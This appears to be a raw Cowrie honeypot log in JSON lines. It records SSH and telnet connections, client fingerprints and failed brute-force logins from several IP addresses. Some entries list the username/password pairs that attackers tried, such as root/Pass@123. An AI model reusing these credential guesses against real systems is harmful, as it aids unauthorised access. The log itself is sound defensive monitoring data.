{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:30.251558Z","src_ip":"8.218.166.49","session":"64e335418270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00315260887146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:31.796790Z","src_ip":"82.147.206.14","session":"48715b815f7c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10718,"dst_ip":"10.17.0.5","dst_port":23,"session":"2653077be06c","protocol":"telnet","message":"New connection: 82.147.206.14:10718 (10.17.0.5:23) [session: 2653077be06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:32.264450Z"}
{"eventid":"cowrie.session.closed","duration":120.00183582305908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:32.934602Z","src_ip":"82.147.206.14","session":"8af969be4156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10719,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e8048fe9ec4","protocol":"telnet","message":"New connection: 82.147.206.14:10719 (10.17.0.5:23) [session: 9e8048fe9ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:28:33.263218Z"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:05.251324Z","src_ip":"8.218.166.49","session":"60876d084266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:07.582266Z","src_ip":"8.218.166.49","session":"64e335418270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:14.269455Z","src_ip":"8.218.166.49","session":"fad88542f040","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"118.7","message":"Connection lost after 118.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:19.145500Z","src_ip":"8.218.166.49","session":"60876d084266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56180,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c813af683a5","protocol":"ssh","message":"New connection: 8.218.166.49:56180 (10.17.0.5:22) [session: 1c813af683a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:23.465641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:28.520877Z","src_ip":"8.218.166.49","session":"1c813af683a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:28.525333Z","src_ip":"8.218.166.49","session":"1c813af683a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:34.048611Z","src_ip":"8.218.166.49","session":"1c813af683a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:36.201515Z","src_ip":"8.218.166.49","session":"1c813af683a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.113.47.155","src_port":59452,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b4533965de3","protocol":"ssh","message":"New connection: 189.113.47.155:59452 (159.203.135.109:22) [session: 1b4533965de3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:49.183493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:49.188568Z","src_ip":"189.113.47.155","session":"1b4533965de3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:49.303744Z","src_ip":"189.113.47.155","session":"1b4533965de3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lloyd","message":"login attempt [root/lloyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:49.798363Z","src_ip":"189.113.47.155","session":"1b4533965de3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:50.916106Z","src_ip":"189.113.47.155","session":"1b4533965de3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.219","src_port":49630,"dst_ip":"159.203.135.109","dst_port":22,"session":"aad9090bb270","protocol":"ssh","message":"New connection: 101.36.124.219:49630 (159.203.135.109:22) [session: aad9090bb270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:55.353091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:55.357992Z","src_ip":"101.36.124.219","session":"aad9090bb270","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:55.573719Z","src_ip":"101.36.124.219","session":"aad9090bb270","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hongkong","message":"login attempt [root/hongkong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:56.469139Z","src_ip":"101.36.124.219","session":"aad9090bb270","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:29:57.687233Z","src_ip":"101.36.124.219","session":"aad9090bb270","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35368,"dst_ip":"10.17.0.5","dst_port":22,"session":"de44220fd46d","protocol":"ssh","message":"New connection: 8.218.166.49:35368 (10.17.0.5:22) [session: de44220fd46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:04.757442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:05.052225Z","src_ip":"8.218.166.49","session":"de44220fd46d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:05.477859Z","src_ip":"8.218.166.49","session":"de44220fd46d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:14.539012Z","src_ip":"8.218.166.49","session":"de44220fd46d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.0","message":"Connection lost after 11.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:15.748998Z","src_ip":"8.218.166.49","session":"de44220fd46d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45612,"dst_ip":"10.17.0.5","dst_port":22,"session":"e235982b6e76","protocol":"ssh","message":"New connection: 8.218.166.49:45612 (10.17.0.5:22) [session: e235982b6e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:26.973971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:26.981503Z","src_ip":"8.218.166.49","session":"e235982b6e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:27.180759Z","src_ip":"8.218.166.49","session":"e235982b6e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00523328781128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:32.269571Z","src_ip":"82.147.206.14","session":"2653077be06c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190830230713,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:33.265029Z","src_ip":"82.147.206.14","session":"9e8048fe9ec4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.147.206.14","src_port":10721,"dst_ip":"10.17.0.5","dst_port":23,"session":"45a8a42ef4e9","protocol":"telnet","message":"New connection: 82.147.206.14:10721 (10.17.0.5:23) [session: 45a8a42ef4e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:33.762087Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57734,"dst_ip":"10.17.0.5","dst_port":22,"session":"b074af5a37d8","protocol":"ssh","message":"New connection: 8.218.166.49:57734 (10.17.0.5:22) [session: b074af5a37d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:34.971107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:34.976477Z","src_ip":"8.218.166.49","session":"b074af5a37d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:35.192097Z","src_ip":"8.218.166.49","session":"b074af5a37d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57738,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6f97715ead5","protocol":"ssh","message":"New connection: 8.218.166.49:57738 (10.17.0.5:22) [session: c6f97715ead5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:41.713063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:41.718575Z","src_ip":"8.218.166.49","session":"c6f97715ead5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.147.30.59","src_port":44353,"dst_ip":"159.203.135.109","dst_port":22,"session":"d355416d2cf7","protocol":"ssh","message":"New connection: 88.147.30.59:44353 (159.203.135.109:22) [session: d355416d2cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:43.413232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:43.417880Z","src_ip":"88.147.30.59","session":"d355416d2cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:43.539311Z","src_ip":"88.147.30.59","session":"d355416d2cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mkt","message":"login attempt [root/mkt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:44.056899Z","src_ip":"88.147.30.59","session":"d355416d2cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:45.181338Z","src_ip":"88.147.30.59","session":"d355416d2cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":60622,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1f5fc4984bf","protocol":"ssh","message":"New connection: 8.218.166.49:60622 (10.17.0.5:22) [session: a1f5fc4984bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T12:30:58.891061Z"}
